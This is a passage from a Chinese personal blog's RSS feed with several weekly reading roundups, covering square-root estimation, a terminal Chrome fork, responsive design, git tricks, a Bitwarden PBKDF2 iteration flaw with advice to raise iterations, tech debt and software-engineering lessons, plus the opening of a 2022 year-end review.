<li><a href="https://blog.sunbk201.site/posts/crack-campus-network">https://blog.sunbk201.site/posts/crack-campus-network</a></li>
<li><a href="https://github.com/coolsnowwolf/lede">https://github.com/coolsnowwolf/lede</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Weekly Reading 20230310</title>
      <link>https://lgiki.net/post/weekly-reading-20230310/</link>
      <pubDate>Fri, 10 Mar 2023 10:13:37 +0800</pubDate>
      <guid>https://lgiki.net/post/weekly-reading-20230310/</guid>
      <description>Weekly Reading 20230310</description>
      <content:encoded><![CDATA[<h1 id="intro">Intro</h1>
<p>好久没更新了，过完年之后就一直忙着写毕业论文，没什么时间来更新博客，甚至开源的项目有一些 issue 也拖了一个多月才处理。写论文真的是一件特别消耗精力的事，无穷无尽、机械重复的工作。现在已经基本上写好了，感觉自己的血槽都快空了，又有时间可以快乐写代码啦！</p>
<p>这期间虽然很忙，但每天还是会看一些文章，也有简单地记录，接下来应该会保持每周的更新啦！</p>
<h1 id="文章">文章</h1>
<h2 id="estimating-square-roots-in-your-head"><a href="https://gregorygundersen.com/blog/2023/02/01/estimating-square-roots/">Estimating Square Roots in Your Head</a></h2>
<p>一个简单估算平方根的方法，简单到甚至可以在脑海里就完成所有的计算。</p>
<p>这个算法是这样的：</p>
<p>假设要计算$n=33$的平方根，我们需要先找到一个数$g$，这个数的平方接近于33，例如我们选择$g=6$（因为$6^2=36$），然后我们需要计算$b=n/g=33/6=5.5$，则我们通过下面这个公式来估算33的平方根：
$$
\sqrt{n}\approx\frac{g+b}{2}
$$
所以33的平方根就约等于5.75，和实际值的误差小于0.1%：
$$
\sqrt{33}=5.74456264654\cdots\approx\frac{6+5.5}{2}=5.75
$$
文中详细解释了这种估算方法的原理，感兴趣的可以到原文查看详细的解释。</p>
<h2 id="forking-chrome-to-render-in-a-terminal"><a href="https://fathy.fr/carbonyl">Forking Chrome to render in a terminal</a></h2>
<p>🔗Github 仓库：<a href="https://github.com/fathyb/carbonyl">https://github.com/fathyb/carbonyl</a></p>
<p>可以先看作者的前一篇文章：<a href="https://fathy.fr/html2svg">Forking Chrome to turn HTML into SVG</a>，这篇文章基于前一篇文章的基础，实现了在终端中使用 Chrome 来浏览网页。原理就是使用 ▄ (<code>U+2584</code>)符号来渲染页面，为其设置不同的前景色、背景色，并在对应的位置绘制该字符，来呈现原始网页，所以使用起来网页像是打了马赛克一样，但确实是在终端中可以使用的 Chrome 浏览器。</p>
<p>这篇博客给了完整的实现思路分析，也给出了演示视频，甚至可以在 Terminal 里面看 YouTube 视频，还挺 Cool 的，Github 仓库中作者 Release 了编译好的二进制文件，可以直接下载下来体验一下，支持 Linux 和 macOS。</p>
<p>例如我的博客在 Terminal 下看起来就是这个样子的：</p>
<p><img loading="lazy" src="/weekly-reading-20230310/carbonyl.png"></p>
<h2 id="the-guide-to-responsive-design-in-2023-and-beyond"><a href="https://ishadeed.com/article/responsive-design/">The Guide To Responsive Design In 2023 and Beyond</a></h2>
<p>这篇文章是对于响应式设计的思考，作者认为响应式设计不应该只是简单设置固定宽度的断点，而是要适应几乎任何设备尺寸。文中提到使用了例如 Bootstrap 等框架来构建响应式网站可能会局限开发者的思维，让开发者只思考三个断点：手机、平板和PC，但现实世界的情况下，并不只有这三种屏幕尺寸，因此，作者认为应该让容器和元素根据可用空间自动调整大小，而这就意味着需要考虑：Container queries、Wrapping、Element Sizing、Font sizes、Spacing、Available space 和 Logical properties 等。作者举例详细说明了应该怎么实现响应式设计。另外，作者认为除了响应式设计，还应该用户偏好，例如颜色模式、语言方向、交互方式等。</p>
<p>很有收获的一篇文章，另外也学到了 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/clamp"><code>clamp()</code></a> 这个 CSS 函数。</p>
<h1 id="工具">工具</h1>
<h2 id="用于生成-9-patch-边框-css-代码的工具">用于生成 9-Patch 边框 CSS 代码的工具</h2>
<p>链接：<a href="https://maxbittker.github.io/broider/">https://maxbittker.github.io/broider/</a></p>
<p>9-Patch 是 Android 上用于在不同屏幕尺寸和密度上实现可伸缩UI元素的技术，为图片指定可拉伸的 4 个边缘，然后这 4 个边缘的中心区域就可以根据需要进行拉伸或缩放，可以用于创建消息气泡。</p>
<p>这款工具则是用于生成 9-Patch 边框的 CSS 代码，生成的效果见下面的 CodePen，有时候拿来做一些特定的网页效果还不错：</p>


<p class="codepen" data-height="300" data-default-tab="css,result" data-slug-hash="VwBdVzR" data-editable="true" data-user="lgiki-the-bold" style="height: 300px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/lgiki-the-bold/pen/VwBdVzR">
  Border</a> by LGiki (<a href="https://codepen.io/lgiki-the-bold">@lgiki-the-bold</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>


<h1 id="网站">网站</h1>
<h2 id="全球-imax-及其他系统影厅分布"><a href="https://docs.qq.com/sheet/DQ3FEUUZJdklNSWJP">全球 IMAX 及其他系统影厅分布</a></h2>
<p>刷即刻刷到的一份在线文档，整理了 IMAX、CGS中国巨幕、DOLBY、CINITY 等各种影厅在全球的分布情况，详细到荧幕宽度、荧幕高度、座位数、开业时间、放映系统等数据全都有，真的很佩服这份文档的维护者们，整理这么一份表格真的很不容易。</p>
<h2 id="layoffsfyi---tech-layoff-tracker-and-startup-layoff-lists"><a href="https://layoffs.fyi/">Layoffs.fyi - Tech Layoff Tracker and Startup Layoff Lists</a></h2>
<p>一个监测科技公司裁员的网站，看起来很可怕QAQ！</p>
<h2 id="151-illusions--visual-phenomena-with-explanations"><a href="https://michaelbach.de/ot/index.html">151 Illusions &amp; Visual Phenomena with explanations</a></h2>
<p>这个网站收集了 151 个视错觉图像 / 动画，并且每个视错觉图像 / 动画都配备了详细的解释。</p>
<h1 id="纪录片">纪录片</h1>
<h2 id="克拉克森的农场-第二季"><a href="https://movie.douban.com/subject/35517450/">克拉克森的农场 第二季</a></h2>
<p>期待了好久的纪录片终于上线了，特别喜欢看这种真实记录田园生活的纪录片，曾经也梦想过老了以后可以一人一狗一农田，日出而作，日落而息，但真的看到农场里的农民如何辛勤劳作、如何面对多变的天气之后，才会明白种田没有想象中的那么容易，也没有想象中的那么悠闲。需要面对很多很多的细碎繁琐的事情，并且天气真的是一点都不会在乎你的农作物，很推荐的一部纪录片，看完觉得很放松。</p>
]]></content:encoded>
    </item>
    <item>
      <title>Weekly Reading 20230123</title>
      <link>https://lgiki.net/post/weekly-reading-20230123/</link>
      <pubDate>Mon, 23 Jan 2023 10:13:37 +0800</pubDate>
      <guid>https://lgiki.net/post/weekly-reading-20230123/</guid>
      <description>Weekly Reading 20230123</description>
      <content:encoded><![CDATA[<h1 id="intro">Intro</h1>
<p>过年好！🧨🎇🎉</p>
<p>新的一年，希望大家都健健康康、平平安安、顺顺利利、红红火火！</p>
<p>最近的天气真的好冷好冷，敲代码的时候手都是冰冰凉凉的，特别生硬哈哈哈~</p>
<p>Anyway，这是这一周看到的东西啦！加入了更多丰富的东西，希望你会喜欢。</p>
<h1 id="文章">文章</h1>
<h2 id="git-commands-you-probably-do-not-need"><a href="https://myme.no/posts/2023-01-22-git-commands-you-do-not-need.html">Git Commands You Probably Do Not Need</a></h2>
<p>学到了一些不太常用但还蛮有趣的 Git 指令，摘录了一部分。</p>
<h3 id="empty-commit--allow-empty">Empty Commit：<code>--allow-empty</code></h3>
<p>空提交可以用于在不更改任何东西的时候重新触发一次 CI/CD 的构建，用法：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">git commit --allow-empty -m <span class="s2">&#34;Initial commit&#34;</span>
</span></span></code></pre></div><h3 id="commit-ranking">Commit ranking</h3>
<p>查看谁向存储库提交最多：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">git shortlog -s -n --no-merges
</span></span></code></pre></div><p>输出结果：</p>
<pre tabindex="0"><code>567  Martin Øinæs Myrseth &lt;myrseth@gmail.com&gt;
322  Martin Øinæs Myrseth &lt;mmyrseth@cisco.com&gt;
142  Martin Myrseth &lt;mm@myme.no&gt;
 14  Martin Myrseth &lt;myrseth@gmail.com&gt;
  4  Martin Øinæs Myrseth &lt;mm@myme.no&gt;
  3  Martin Myrseth &lt;myme@map&gt;
  2  Martin Øinæs Myrseth &lt;myme@Tuple.localdomain&gt;
  2  Martin Øinæs Myrseth &lt;myme@map.localdomain&gt;
</code></pre><p>文中还有很多其他有趣的 Git 指令和例子，可以点击原文链接查看。</p>
<h2 id="bitwarden-design-flaw-server-side-iterations"><a href="https://palant.info/2023/01/23/bitwarden-design-flaw-server-side-iterations/">Bitwarden design flaw: Server side iterations</a></h2>
<p>Bitwarden 通过单一的主密码来保护用户数据，Bitwarden 的服务器不应该知道用户的主密码，所以会派生出两个不同的值：</p>
<ul>
<li>主密码的 Hash，用于验证用户是否被允许登陆</li>
<li>用于加密 / 解密数据的密钥</li>
</ul>
<p>Bitwarden 的数据会受到 200,001 次的 PBKDF2 迭代：100,001 次在客户端、100,000 次在服务端。但是在 Bitwarden <a href="https://bitwarden.com/images/resources/security-white-paper-download.pdf">安全白皮书</a>中，服务端的 100,000 次 PBKDF2 迭代仅仅用于主密码的 Hash，而不是加解密数据的密钥。即：对于主密码 Hash 确实会经过 200,001 次 PBKDF2 迭代，但是对于加解密数据的密钥，只会经过 100,000 次 PBKDF2 迭代。</p>
<p>这就导致了一个问题，假设攻击者得到了你的 Bitwarden 数据副本并尝试对其进行解密，这时候，对于主密码 Hash 的爆破会很慢，因为主密码的 Hash 有 200,001 次的 PBKDF2 迭代，每一次计算都需要时间。但对于每次猜测，只需要派生出一个加解密密钥，并检查这个密钥是否可以解密数据就可以大大减少爆破需要的时间，因为加解密密钥只经过了 100,000 次 PBKDF2 迭代。</p>
<p>同时还有另一个问题，Bitwarden 所使用的迭代次数其实远低于 <a href="https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html#pbkdf2">OWASP 推荐的迭代次数</a>（OWASP，Open Web Application Security Project，是一个关注应用程序安全的基金会：<a href="https://owasp.org/">https://owasp.org/</a>，里面有一份关于应用程序安全的 Cheat Sheet 写得蛮详细的，有挺多有价值的信息：<a href="https://cheatsheetseries.owasp.org/">https://cheatsheetseries.owasp.org/</a>）</p>
<p>如果你也在使用 Bitwarden 管理你的密码，可以到 <a href="https://vault.bitwarden.com/#/settings/security/security-keys">https://vault.bitwarden.com/#/settings/security/security-keys</a> 把迭代次数设置为 600,000 来提高安全性，这是 OWASP 推荐的迭代次数，对于大部分主流硬件，这个迭代次数都不会让用户感受到明显的卡顿。</p>
<h1 id="工具">工具</h1>
<h2 id="spotify-推出的播客名称生成工具">Spotify 推出的播客名称生成工具</h2>
<p>🔗链接：<a href="https://podcast-name-generator.spotify.com/">https://podcast-name-generator.spotify.com/</a></p>
<p>逛 <a href="https://www.producthunt.com/posts/podcast-name-generator">Product Hunt</a> 时候发现 Spotify 推出了一款英文播客名称生成工具，点击页面上的按钮可以得到一个随机生成的英文播客名称 + 一段简短的介绍，页面的设计很有 Spotify 的味道，还蛮好看的，一些随机生成的英文播客名称也挺有趣的。</p>
<p>想起了另一个中文播客名称生成工具：<a href="https://get-podcast-name.vercel.app/">https://get-podcast-name.vercel.app/</a></p>
<h1 id="网站">网站</h1>
<h2 id="distill"><a href="https://distill.pub/">Distill</a></h2>
<p>本科时候发现的一个网站，通过动画和一些有趣的用户交互来介绍机器学习相关的知识，文章的质量都很高，让用户和文章中提到的内容进行交互或者是展示一个清晰易懂的动画，真的很大提升了用户体验，可以更容易理解作者想表达的意思。</p>
<p>但今天想起来的时候才发现网站已经无限期暂停更新了…希望未来还能再看到这个网站更新。
类似的，还有这个网站 <a href="https://ciechanow.ski/">https://ciechanow.ski/</a> 也有很多可以交互的有趣文章，例如这个网站上的 <a href="https://ciechanow.ski/sound/">Sound</a>、<a href="https://ciechanow.ski/mechanical-watch/">Mechanical Watch</a> 这两篇文章都很有趣。</p>
<h2 id="wonders-of-street-view"><a href="https://neal.fun/wonders-of-street-view/">Wonders of Street View</a></h2>
<p>一个随机展示奇特 Google 街景的网站，例如鲨鱼从天而降砸穿房顶、岩浆湖…</p>
<h1 id="ai">AI</h1>
<h2 id="musiclm-generating-music-from-text"><a href="https://google-research.github.io/seanet/musiclm/examples/">MusicLM: Generating Music From Text</a></h2>
<p>论文🔗：<a href="https://arxiv.org/abs/2301.11325">https://arxiv.org/abs/2301.11325</a></p>
<p>从接触到 <a href="https://github.com/alembics/disco-diffusion">Disco Diffusion</a> 开始，就一直在想着 AI 生成音乐应该也不远了，果然，Google 团队就做出来了这个 MusicLM，可以通过文字描述，让 AI 来生成音乐，并且提供了多种不同的生成模式。在论文主页上可以收听用 MusicLM 生成的音乐样本，听起来感觉都还不错。</p>
<h2 id="the-adventure-of-penelope-the-porcupine-and-the-land-of-whimsy"><a href="https://adventure-of-penelope.vercel.app/">The Adventure of Penelope the Porcupine and the Land of Whimsy</a></h2>
<p>用 ChatGPT 和 Midjourney 完成的一本儿童读物，看下来感觉还挺不错的，配的插图也都很精美，AI 在一定程度上真的已经能够取代一些人类的工作了。</p>
<p>小时候经常能在书店或者是学校旁的小商店看到一些廉价的儿童读物，有一些书里甚至会有一些离谱的文字错误、插图也不是十分精美，如果写一些脚本实现 AI 制作儿童读物、绘本的全流程，说不定可以量产这类儿童读物，并且质量也不差。</p>
<h1 id="前端">前端</h1>
<h2 id="in-range-和-out-of-range-css-伪类"><code>:in-range</code> 和 <code>:out-of-range</code> CSS 伪类</h2>
<p>才知道原来 input 标签有 <code>:in-range</code> 和 <code>:out-of-range</code> 这两个 CSS 伪类，当 input 标签指定了 <code>min</code> 和 <code>max</code> 属性的时候，这两个伪类分别对应当用户输入的值在范围内和不在范围内，通过这两个伪类就可以在不借助 JavaScript 的情况下做出一个能根据用户输入内容是否合法自动改变样式的输入框，还挺好用的。</p>
<p>MDN 文档：</p>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/:in-range">https://developer.mozilla.org/en-US/docs/Web/CSS/:in-range</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/:out-of-range">https://developer.mozilla.org/en-US/docs/Web/CSS/:out-of-range</a></li>
</ul>
<p>Can I Use 链接：<a href="https://caniuse.com/css-in-out-of-range">https://caniuse.com/css-in-out-of-range</a></p>
<p>下面这个例子我把 <code>min</code> 设置为了 1，把 <code>max</code> 设置为了 10，因此，当你输入 1 的时候，输入框的背景色应该呈现绿色，当你输入 11 的时候，输入框将会自动变更为红色，Try it~</p>


<p class="codepen" data-height="300" data-default-tab="css,result" data-slug-hash="LYBrpbM" data-editable="true" data-user="lgiki-the-bold" style="height: 300px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/lgiki-the-bold/pen/LYBrpbM">
  in-range and out-of-range</a> by LGiki (<a href="https://codepen.io/lgiki-the-bold">@lgiki-the-bold</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>


]]></content:encoded>
    </item>
    <item>
      <title>Weekly Reading 20230116</title>
      <link>https://lgiki.net/post/weekly-reading-20230116/</link>
      <pubDate>Thu, 19 Jan 2023 10:13:37 +0800</pubDate>
      <guid>https://lgiki.net/post/weekly-reading-20230116/</guid>
      <description>Weekly Reading 20230116</description>
      <content:encoded><![CDATA[<h1 id="intro">Intro</h1>
<p>新的一年，想做一些有趣的新尝试，其中一个想法就是把每周阅读的一些有趣的文章记录并分享出来，类似于 Newsletter 的形式。</p>
<p>我每天打开电脑的第一件事就是看看 <a href="https://news.ycombinator.com/">HackerNews</a>，看到一些有趣的项目、文章会做一些记录，正好适合用来分享。</p>
<p>新的一年快到啦，提前祝大家新年快乐啦！🐰🧧🎉🎇</p>
<h1 id="文章">文章</h1>
<h2 id="for-your-next-side-project-make-a-browser-extension"><a href="https://www.geoffreylitt.com/2023/01/08/for-your-next-side-project-make-a-browser-extension.html">For your next side project, make a browser extension</a></h2>
<p>这篇文章的作者是浏览器插件 <a href="https://tweethunter.io/twemex">Twemex</a> 的开发者，这个浏览器插件的功能是增强 Twitter 的搜索体验，安装好这个插件之后可以很方便地直接输入关键字来搜索某个用户历史发送过的推文、搜索你关注的人的推文，而不用去记忆 Twitter 搜索框的搜索语法。</p>
<p>这个浏览器插件最初只是作者为了满足自己的需求所开发的，因为他发现 Twitter 的搜索功能其实提供了很丰富的搜索指令，例如在关键词前面加上 <code>from:xxx</code> 就可以指定只搜索来自 <code>xxx</code> 的推文，但是 Twitter 并没有很明显地在搜索页面上告诉用户可以这么使用，也没有提供一个很方便的 UI，大多数用户并不知道这个功能，而作者自己平时在发表推文的时候，经常会使用这些高级搜索指令来搜索自己过往所发送的相关推文，于是他就开发了这么一个小插件。</p>
<p>但一开始他并没有进行什么推广，相反的，他只是偶尔会在自己的 Twitter 上分享这个插件的截图，然后就有人好奇地问他：我能否也使用这个插件。于是作者开始和这些用户沟通交流，了解他们的需求，逐步完善了自己所使用的这个插件，并通过 Twitter 召集了 100 多个感兴趣的用户，让他们成为首批测试人员，同时通过 Twitter 的 DM (Direct Messages) 和这些用户保持持续的沟通（作者这里提到，因为 DM 的非正式性，不需要像邮件、电话等联系方式那样每次都得写很正式的回复，这让他觉得很轻松，他可以通过 DM 同时处理好多人的问题）。</p>
<p>用户多起来之后，作者开始考虑优化这个插件的用户体验，他最先从 UI 开始润色，让插件使用起来像是 Twitter 原生就提供的功能一样，这样用户使用起来会觉得这个插件就应该是 Twitter 的一部分，减少插件被用户禁用、卸载的概率。</p>
<p>一年后，这个浏览器插件已经拥有超过 20k 的用户了，甚至有很多用户表示愿意为这个插件支付 5$ 每月的费用。后来一家专注构建 Twitter 相关产品的团队联系作者，收购了这个插件。</p>
<p>作者认为，从浏览器插件开始做自己的 Side Project 是一个不错的主意：</p>
<ul>
<li>
<p>从 0 开始要创造出一个变革性的软件很困难，就算你想到了一个能改变世界的 idea，通常也需要冒很大的风险，付出巨大的努力才能成功。相反的，对现有软件的改进的想法却很容易想到，每个人或多或少都会抱怨自己日常所使用的软件有这样或那样的不足，这些抱怨汇集起来就足够形成一个插件的原始想法。</p>
</li>
<li>
<p>不需要投入太多的成本（作者称为&quot;Easy operations&quot;，但我理解为不需要投入太多的成本），浏览器插件的开发通常不需要有自己的服务器，也不需要考虑用户数据的存储。大多数时候，对某个现有产品的改进只需要利用现有产品提供的服务就足够了，基本上不需要部署服务器来存储数据，这就不用考虑很多很复杂的系统架构问题，也不需要考虑成本问题，只需要专注于插件功能的开发。</p>
</li>
<li>
<p>容易成长。相比于构建大型软件，构建浏览器插件可以很快速地从一个简单的想法、操作开始，很容易就能成长壮大。（类似于，有创意、有想法的时候先快速做一个<a href="https://en.wikipedia.org/wiki/Minimum_viable_product">MVP</a> 出来验证自己的想法，验证成功之后再考虑后续的发展、壮大，能规避一些不必要的风险，也能快速验证自己的想法是否可靠）</p>
</li>
</ul>
<p>但同时，浏览器插件也存在一些风险：</p>
<ul>
<li>平台风险
<ul>
<li>如果 Twitter 不喜欢，Twitter 随时可以让这个插件无法正常工作</li>
<li>Twitter 每天都在发生变化，插件需要不断进行修改来适应 Twitter 的变化</li>
</ul>
</li>
<li>Chrome 插件平台存在一些问题
<ul>
<li>Chrome 插件平台依赖于人工审查，人工审查具有很大的不确定性（审核时间的快慢、审核能否通过）</li>
<li>我之前在<a href="https://lgiki.net/post/2022-review/#nice-podcast-rss">博客里面</a>提到的 Google 对于浏览器插件规范 Manifest V3 的推动，限制了浏览器插件的权限，导致浏览器插件能做的事变少了</li>
</ul>
</li>
</ul>
<p>我的一些想法：</p>
<ul>
<li>作者的这个插件最初只是自用，也没有进行宣传，反而是在自己的社交媒体上发表推文而积累到用户的，作者的 Twitter 有 8k followers，平时多分享、多写一些有价值的东西，经营一个自己的社交账号真的蛮重要的，这些关注随时都可能给自己带来意想不到的惊喜</li>
<li>找准用户的痛点很重要，多和自己的用户沟通</li>
</ul>
<h2 id="the-internet-wants-to-be-fragmented"><a href="https://noahpinion.substack.com/p/the-internet-wants-to-be-fragmented">The internet wants to be fragmented</a></h2>
<p>这篇文章讲的是世界互联网正在变得越来越碎片化。</p>
<p>作者提到一个现象是 Facebook 和 Twitter 这类中心化的平台似乎越来越不受年轻人的喜爱，相反，Tiktok、YouTube、Snapchat、Instagram、WhatsApp、Signal、Discord 等 App 正在年轻人之间变得越来越流行。</p>
<p>Facebook 和 Twitter 的共同点是：中心化，平台上的内容会受管理者喜好的影响，例如 Elon Musk 可以随意 ban 掉批评他的记者的 Twitter 账户，言论并不总是自由的。</p>
<p>相反的，例如，TikTok 和 YouTube 更类似于电视、广播和传统的单向推送媒体，内容纯粹由算法驱动，而不是基于用户分享所驱动；Snapchat 和 Instagram 也更侧重于人与人之间的互动，而不是公共讨论，以及，即时通讯 App 也正在变得越来越流行。（我的理解：人们越来越趋向于使用一些更小尺度、更小众的社交媒体，在这样的社交媒体上人与人之间的联系更紧密，也更容易找到自己喜欢看的东西）</p>
<p>这些越来越流行的平台的共同点是碎片化 (fragmentation)，人们受够了中心化平台的各种争议、漫骂以及监管，转而走向更小的群体组织，例如可能是小众爱好的群体、志同道合的群体等，大家聚在一起，可以在这样的小众社区里互相分享自己的观点，大家都能看到自己想看的内容，如果哪天觉得不喜欢了，就可以随时转移到其他小社区里面。</p>
<p>现在的 Twitter 就像是一个城市的中心广场，而这些 app 就像一个个的小城镇。这反而回到了互联网最初的本质，是碎片化的，大家可以随时把自己的所知道的信息共享出来，不喜欢了也可以随时换到另一个地方。Disagreement in society is necessary for progress, but it’s most constructive when it’s mediated by bonds of trust and affinity and semi-privacy. Our boundaries will always rub up against each other, but we need some boundaries.</p>
<p>很喜欢题图中的一段话：</p>
<blockquote>
<p>15 years ago, the internet was an escape from the real world. Now the real world is an escape from the internet.</p></blockquote>
<h2 id="we-invested-10-to-pay-back-tech-debt-here"><a href="https://blog.alexewerlof.com/p/tech-debt-day">We invested 10% to pay back tech debt; Here&rsquo;s what happened</a></h2>
<p>这篇文章，作者讲述了他们团队花费 10% 的时间用于偿还技术债的故事。</p>
<p>任何一个维护过一段时间的软件系统，都会随着时间的增加逐渐变得&quot;腐烂&quot;，这种现象被称为 <a href="https://en.wikipedia.org/wiki/Software_rot">bit rot</a> 或 <a href="https://en.wikipedia.org/wiki/Software_entropy">software entropy</a>，具体表现有：</p>
<ul>
<li><strong><a href="https://en.wikipedia.org/wiki/Mean_time_between_failures">MTBF</a> (mean time between failure) 下降</strong>：软件的失败次数变得更加频繁</li>
<li><strong><a href="https://en.wikipedia.org/wiki/Lead_time">LT</a> (lead time) 增加</strong>：implementation, review, deploy 和 release 所需的时间，会随着时间的增加而不断增加</li>
<li><strong>效率下降</strong>：$\frac{价值}{付出}$ 的比例不断降低</li>
<li><strong>TTR (time to repair or remedy) 增加</strong>：修复软件中的缺陷并确保它不会再次发生所需要的时间变长</li>
<li><strong>TTFC (time to first commit) 增加</strong>：用于衡量新人加入代码库的效率的指标之一</li>
</ul>
<p>而引起这些问题的原因一般是：</p>
<ul>
<li><strong>外部</strong>：runtime、操作系统、依赖可能随着时间不断发生着变化，开发者需要不断适应这些变化</li>
<li><strong>内部</strong>：错误、config drift、技术债务</li>
<li><strong>混合</strong>：需求的变化速度过快</li>
</ul>
<p>作者的团队有开发并维护着两个大型的全栈应用程序，每个应用程序都有 +180K SLOC，但项目的领导并不关心代码质量，往往偷工减料，跳过测试，只要能按时交付即可，这让这些程序变得摇摇欲坠。</p>
<p>最终项目的开发者和管理层沟通，确定花 10% 的时间专门用于解决技术债务。从此，每隔一周，程序员们就会举行一次 &ldquo;Tech Debt Friday&rdquo; 活动，在这一天里，不能做一些常规的需求，而是专门用于处理技术债务。</p>
<p>随着时间推移，这项 &ldquo;Tech Debt Friday&rdquo; 活动对作者所在团队的回报是巨大的：</p>
<ol>
<li>他们很快偿还了技术债务，通常不会超过 10 天</li>
<li>他们可以一起调查代码库，并了解代码的历史，而不用按照某种固定的流程</li>
<li>可以有时间整理文档，标注一些不会重构或删除的内容</li>
<li>可以做一些更有意义的事情，例如改进测试、linting 或者是 CI/CD 管道，来防止错误或者降低错误成本</li>
<li>通过团队成员直接的协作处理好技术债之后，他们能够更快地完成他们日常的常规工作，因为他们在处理技术债的时候，对代码有了更集体性的理解</li>
<li>代码的设计和架构变得更加清晰，使得他们能够在时间紧急的时刻做出更好的判断</li>
<li>这种管理层对开发者的提供的自由和信任提升了团队精神</li>
<li>公司的其他团队也开始试验 &ldquo;Tech Debt Friday&rdquo;</li>
</ol>
<h2 id="20-things-ive-learned-in-my-20-years-as-a-software-engineer"><a href="https://www.simplethread.com/20-things-ive-learned-in-my-20-years-as-a-software-engineer/">20 Things I’ve Learned in my 20 Years as a Software Engineer</a></h2>
<ol>
<li>
<p>I still don’t know very much</p>
<p>在软件领域，无论往哪个方向看，都有广阔的知识远景，并且在日益扩大。</p>
<p>这意味着不同的人在相同的职业生涯中度过数十年，仍可能产生巨大的知识差距。</p>
<p>越早意识到这一点，就能越早开始乐于向他人学习和教导其他人。</p>
</li>
<li>
<p>The hardest part of software is building the right thing</p>
<p>你可以设计出世界上技术最令人印象深刻的东西，但却没有人愿意使用它。</p>
<p>设计软件主要是一种倾听的活动，我们需要成为软件工程师、心理学家和人类学家。</p>
<p>在软件设计过程中的投资，无论是通过专门的用户体验团队还是通过简单的自学，都将带来巨大的回报。</p>
</li>
<li>
<p>The best software engineers think like designers</p>
<p>伟大的工程师会深入思考他们代码的用户体验问题。把用户的需求放在心上，是好的用户体验的核心。</p>
</li>
<li>
<p>The best code is no code, or code you don’t have to maintain</p>
</li>
<li>
<p>Software is a means to an end</p>
<p>任何软件工程师的主要工作都是交付价值。</p>
</li>
<li>
<p>Sometimes you have to stop sharpening the saw, and just start cutting shit</p>
<p>有些人倾向于跳进问题中，直接开始写代码。</p>
<p>另一些人则倾向于研究，并陷入分析瘫痪。</p>
<p>在这些情况下，为自己设定一个期限，然后就开始探索解决方案。当你开始解决问题时，你会很快学到更多东西，这将引导你迭代出一个更好的解决方案。</p>
</li>
<li>
<p>If you don’t have a good grasp of the universe of what’s possible, you can’t design a good system</p>
</li>
<li>
<p>Every system eventually sucks, get over it</p>
</li>
<li>
<p>Nobody asks “why” enough</p>
</li>
<li>
<p>We should be far more focused on avoiding 0.1x programmers than finding 10x programmers</p>
</li>
<li>
<p>One of the biggest differences between a senior engineer and a junior engineer is that they’ve formed opinions about the way things should be</p>
<p>对自己的工具或者如何构建软件没有任何意见的工程师是很让人担心的。作者说他宁愿有人给他一些&quot;我不同意&quot;的意见，也不想要有人和他说&quot;我没有意见&quot;。积极寻找别人如何使用与你不同的工具和技术来完成任务，能很快提高你的技术水平。</p>
</li>
<li>
<p>People don’t really want innovation</p>
<p>人们经常谈论创新，但他们通常寻找的是廉价的胜利和新奇感。</p>
<p>如果你真正进行创新，并且改变人们做事的方式，预计会有大量的负面反馈。</p>
<p>如果你相信你正在做的事情，并且知道它将真正改善一些事情，那么请做好准备迎接一场漫长的战斗。</p>
</li>
<li>
<p>Your data is the most important part of your system</p>
<p>系统中的数据可能会比代码还更长寿，花时间和经历保持数据的有序和规整，从长远来看会有很好的回报。</p>
</li>
<li>
<p>Look for technological sharks</p>
</li>
<li>
<p>Don’t mistake humility for ignorance</p>
</li>
<li>
<p>Software engineers should write regularly</p>
<p>软件工程师应该定期写博客、写日记、写文档，做任何需要保持书面沟通技巧的事情。</p>
<p>写作可以帮助思考问题，并帮助自己更有效地与团队和未来的自己沟通。</p>
<p>良好的书面沟通技巧是任何软件工程师都需要掌握的最重要的技能之一。</p>
</li>
<li>
<p>Keep your processes as lean as possible</p>
</li>
<li>
<p>Software engineers, like all humans, need to feel ownership</p>
</li>
<li>
<p>Interviews are almost worthless for telling how good of a team member someone will be</p>
<p>面试的最好只是用于了解某人是谁，以及他们对某个专业领域的兴趣如何。试图弄清楚他们将来会是一个多么好的团队成员是没用的，因为没有人会在面试的时候告诉你：他们不可靠、滥用职权、华而不实，或者从不按时出席会议。</p>
</li>
<li>
<p>Always strive to build a smaller system</p>
</li>
</ol>
<h1 id="视频">视频</h1>
<h2 id="paperpaul-youtube-channel"><a href="https://www.youtube.com/@PaperPaul">PaperPaul YouTube Channel</a></h2>
<p>发现一个立体折纸爱好者的 Youtube Channel 叫 PaperPaul，里面有个视频展示了很多他喜欢的立体折纸作品，都设计得十分巧妙：</p>


<iframe width="560" height="315" src="https://www.youtube.com/embed/KAF24s_FJLk" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>


]]></content:encoded>
    </item>
    <item>
      <title>好好爱自己 —— 2022年度总结</title>
      <link>https://lgiki.net/post/2022-review/</link>
      <pubDate>Sun, 01 Jan 2023 09:21:44 +0800</pubDate>
      <guid>https://lgiki.net/post/2022-review/</guid>
      <description>好好爱自己</description>
      <content:encoded><![CDATA[<h1 id="2022-这一年">2022 这一年</h1>
<p>2022 年经历了好多事情，见证了很多魔幻、让人愤怒的事情，当然也收获了不少快乐和感动，永远致敬那些勇敢的人。</p>
<p>去年年终总结许下的一些愿望真的实现了，要来还愿，例如谈甜甜的恋爱！！！真的特别有幸能在 2022 年遇见阿光光，和你恋爱真的超级超级甜💙✨~</p>
